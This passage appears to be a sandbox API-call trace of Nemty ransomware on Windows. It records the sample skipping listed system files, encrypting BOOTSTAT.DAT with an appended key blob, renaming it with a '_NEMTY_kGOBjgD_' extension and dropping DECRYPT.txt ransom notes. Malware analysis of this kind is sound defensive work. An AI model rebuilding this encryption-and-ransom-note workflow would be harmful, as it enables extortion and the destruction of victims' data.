lpUsedDefaultChar=0x0) returned 12 [0043.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BOOTSTAT.DAT", cchWideChar=12, lpMultiByteStr=0x653f958, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BOOTSTAT.DAT", lpUsedDefaultChar=0x0) returned 12 [0043.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0043.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0043.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345560 | out: hHeap=0x4f90000) returned 1 [0043.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345560 [0043.326] Sleep (dwMilliseconds=0x5) [0043.335] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f7e4 | out: lpSystemTimeAsFileTime=0x653f7e4*(dwLowDateTime=0xcd8838b0, dwHighDateTime=0x1d561e7)) [0043.335] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f7e4 | out: lpSystemTimeAsFileTime=0x653f7e4*(dwLowDateTime=0xcd8838b0, dwHighDateTime=0x1d561e7)) [0043.335] GetLastError () returned 0x0 [0043.335] SetLastError (dwErrCode=0x0) [0043.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f916e8 [0043.335] GetLastError () returned 0x0 [0043.335] SetLastError (dwErrCode=0x0) [0043.335] GetLastError () returned 0x0 [0043.335] SetLastError (dwErrCode=0x0) [0043.335] GetLastError () returned 0x0 [0043.335] SetLastError (dwErrCode=0x0) [0043.335] GetLastError () returned 0x0 [0043.335] SetLastError (dwErrCode=0x0) [0043.335] GetLastError () returned 0x0 [0043.335] SetLastError (dwErrCode=0x0) [0043.335] GetLastError () returned 0x0 [0043.335] SetLastError (dwErrCode=0x0) [0043.336] GetLastError () returned 0x0 [0043.336] SetLastError (dwErrCode=0x0) [0043.336] GetLastError () returned 0x0 [0043.336] SetLastError (dwErrCode=0x0) [0043.336] GetLastError () returned 0x0 [0043.336] SetLastError (dwErrCode=0x0) [0043.336] GetLastError () returned 0x0 [0043.336] SetLastError (dwErrCode=0x0) [0043.336] GetLastError () returned 0x0 [0043.336] SetLastError (dwErrCode=0x0) [0043.336] GetLastError () returned 0x0 [0043.336] SetLastError (dwErrCode=0x0) [0043.336] GetLastError () returned 0x0 [0043.336] SetLastError (dwErrCode=0x0) [0043.336] GetLastError () returned 0x0 [0043.336] SetLastError (dwErrCode=0x0) [0043.336] GetLastError () returned 0x0 [0043.336] SetLastError (dwErrCode=0x0) [0043.336] GetLastError () returned 0x0 [0043.336] SetLastError (dwErrCode=0x0) [0043.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0043.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.337] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f620*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f620*=0x100) returned 1 [0043.337] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f624*, pdwDataLen=0x653f610*=0x10, dwBufLen=0x100 | out: pbData=0x653f624*, pdwDataLen=0x653f610*=0x100) returned 1 [0043.337] CryptBinaryToStringA (in: pbBinary=0x653f624, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f61c | out: pszString=0x0, pcchString=0x653f61c) returned 1 [0043.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0043.337] CryptBinaryToStringA (in: pbBinary=0x653f624, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f61c | out: pszString="33gM76cq0r64J5eSXmJIdqV/kW7Ry0ICRtWJYMeReqJ8RfHni6k+x39Te/ypfRZ5\r\nbMHe7OM/zKnBcH5B6O2wP7HUKSuV3nHDB3anw1bVXMdDWzyXeKr1x9p0YB1V92Mo\r\nkP+FQdYuiFq8x0Ttinacn0W26bSa7Ol19/Vc9RQM79A1LhjDk9pvVtHRCXF3MY45\r\nO2mzu/FmNunzT1+cz9M6NK8dTGsbJeqlQh5Kxng/dXk5QOGDoV17w+IcEiwECELc\r\nogV48Ps5eNJ9b2hfrsUlfiSNYpVPvksarTNigmNk/Ork4sRMxBUT1OxP/HSq/wCt\r\nQXshWFIasMhmTrZynd1uoQ==\r\n", pcchString=0x653f61c) returned 1 [0043.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0043.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0043.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0043.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0043.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0043.337] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0043.338] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x653f870 | out: lpFileSize=0x653f870*=65536) returned 1 [0043.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10000) returned 0x6345d48 [0043.338] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.338] ReadFile (in: hFile=0x3c0, lpBuffer=0x6345d48, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x653f864, lpOverlapped=0x0 | out: lpBuffer=0x6345d48*, lpNumberOfBytesRead=0x653f864*=0x10000, lpOverlapped=0x0) returned 1 [0043.344] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.344] WriteFile (in: hFile=0x3c0, lpBuffer=0x6345d48*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0 | out: lpBuffer=0x6345d48*, lpNumberOfBytesWritten=0x653f85c*=0x10000, lpOverlapped=0x0) returned 1 [0043.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d48 | out: hHeap=0x4f90000) returned 1 [0043.345] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=65536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10000 [0043.345] WriteFile (in: hFile=0x3c0, lpBuffer=0x4f94088*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f85c, lpOverlapped=0x0 | out: lpBuffer=0x4f94088*, lpNumberOfBytesWritten=0x653f85c*=0x167, lpOverlapped=0x0) returned 1 [0043.345] CloseHandle (hObject=0x3c0) returned 1 [0043.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x63455d0 [0043.346] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0043.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.347] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0043.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0043.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0043.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0043.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0043.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0043.347] MoveFileW (lpExistingFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), lpNewFileName="C:\\Boot\\BOOTSTAT.DAT._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\bootstat.dat._nemty_kgobjgd_")) returned 1 [0043.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63455d0 | out: hHeap=0x4f90000) returned 1 [0043.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0043.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0043.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0043.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0043.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0043.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345560 | out: hHeap=0x4f90000) returned 1 [0043.347] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0043.347] lstrcmpiW (lpString1="cs-CZ", lpString2=".") returned 1 [0043.348] lstrcmpiW (lpString1="cs-CZ", lpString2="..") returned 1 [0043.348] lstrcmpiW (lpString1="cs-CZ", lpString2="...") returned 1 [0043.348] lstrcmpiW (lpString1="cs-CZ", lpString2="windows") returned -1 [0043.348] lstrcmpiW (lpString1="cs-CZ", lpString2="$RECYCLE.BIN") returned 1 [0043.348] lstrcmpiW (lpString1="cs-CZ", lpString2="rsa") returned -1 [0043.348] lstrcmpiW (lpString1="cs-CZ", lpString2="NTDETECT.COM") returned -1 [0043.348] lstrcmpiW (lpString1="cs-CZ", lpString2="ntldr") returned -1 [0043.348] lstrcmpiW (lpString1="cs-CZ", lpString2="MSDOS.SYS") returned -1 [0043.348] lstrcmpiW (lpString1="cs-CZ", lpString2="IO.SYS") returned -1 [0043.348] lstrcmpiW (lpString1="cs-CZ", lpString2="boot.ini") returned 1 [0043.348] lstrcmpiW (lpString1="cs-CZ", lpString2="boot.ini") returned 1 [0043.348] lstrcmpiW (lpString1="cs-CZ", lpString2="AUTOEXEC.BAT") returned 1 [0043.348] lstrcmpiW (lpString1="cs-CZ", lpString2="ntuser.dat") returned -1 [0043.348] lstrcmpiW (lpString1="cs-CZ", lpString2="desktop.ini") returned -1 [0043.348] lstrcmpiW (lpString1="cs-CZ", lpString2="CONFIG.SYS") returned 1 [0043.348] lstrcmpiW (lpString1="cs-CZ", lpString2="RECYCLER") returned -1 [0043.348] lstrcmpiW (lpString1="cs-CZ", lpString2="BOOTSECT.BAK") returned 1 [0043.348] lstrcmpiW (lpString1="cs-CZ", lpString2="bootmgr") returned 1 [0043.348] lstrcmpiW (lpString1="cs-CZ", lpString2="programdata") returned -1 [0043.348] lstrcmpiW (lpString1="cs-CZ", lpString2="appdata") returned 1 [0043.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cs-CZ", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0043.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cs-CZ", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cs-CZ", lpUsedDefaultChar=0x0) returned 5 [0043.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cs-CZ", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0043.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cs-CZ", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cs-CZ", lpUsedDefaultChar=0x0) returned 5 [0043.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0043.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0043.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0043.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6345d48 [0043.348] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0043.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.348] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0043.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f916e8 [0043.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0043.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.349] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\cs-cz\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0043.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.349] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.349] WriteFile (in: hFile=0x3c0, lpBuffer=0x6345d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6345d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0043.351] CloseHandle (hObject=0x3c0) returned 1 [0043.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d48 | out: hHeap=0x4f90000) returned 1 [0043.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0043.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0043.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6345d48 [0043.351] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0043.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0043.351] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0043.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0043.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0043.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f916e8 [0043.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0043.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0043.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.351] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\cs-cz\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0043.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.352] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.352] WriteFile (in: hFile=0x3c0, lpBuffer=0x6345d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6345d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0043.353] CloseHandle (hObject=0x3c0) returned 1 [0043.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d48 | out: hHeap=0x4f90000) returned 1 [0043.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0043.353] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcd8838b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcd8838b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0043.354] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0043.354] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcd8838b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcd8838b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.354] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0043.354] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0043.354] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.354] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0043.354] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0043.354] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="...") returned 1 [0043.354] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="windows") returned -1 [0043.354] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0043.354] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="rsa") returned -1 [0043.354] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="NTDETECT.COM") returned -1 [0043.354] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0043.354] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="MSDOS.SYS") returned -1 [0043.354] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="IO.SYS") returned -1 [0043.354] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0043.354] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0043.354] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0043.354] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0043.354] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0043.354] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="CONFIG.SYS") returned -1 [0043.354] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RECYCLER") returned -1 [0043.354] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="BOOTSECT.BAK") returned -1 [0043.354] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0043.354] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="programdata") returned -1 [0043.354] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="appdata") returned 1 [0043.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0043.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0043.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0043.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0043.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0043.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0043.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0043.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0043.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0043.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0043.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f916e8 [0043.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0043.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f91590 [0043.355] Sleep (dwMilliseconds=0x5) [0043.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcd8cfb70, dwHighDateTime=0x1d561e7)) [0043.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcd8cfb70, dwHighDateTime=0x1d561e7)) [0043.366] GetLastError () returned 0xb7 [0043.366] SetLastError (dwErrCode=0xb7) [0043.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f915d8 [0043.366] GetLastError () returned 0xb7 [0043.366] SetLastError (dwErrCode=0xb7) [0043.366] 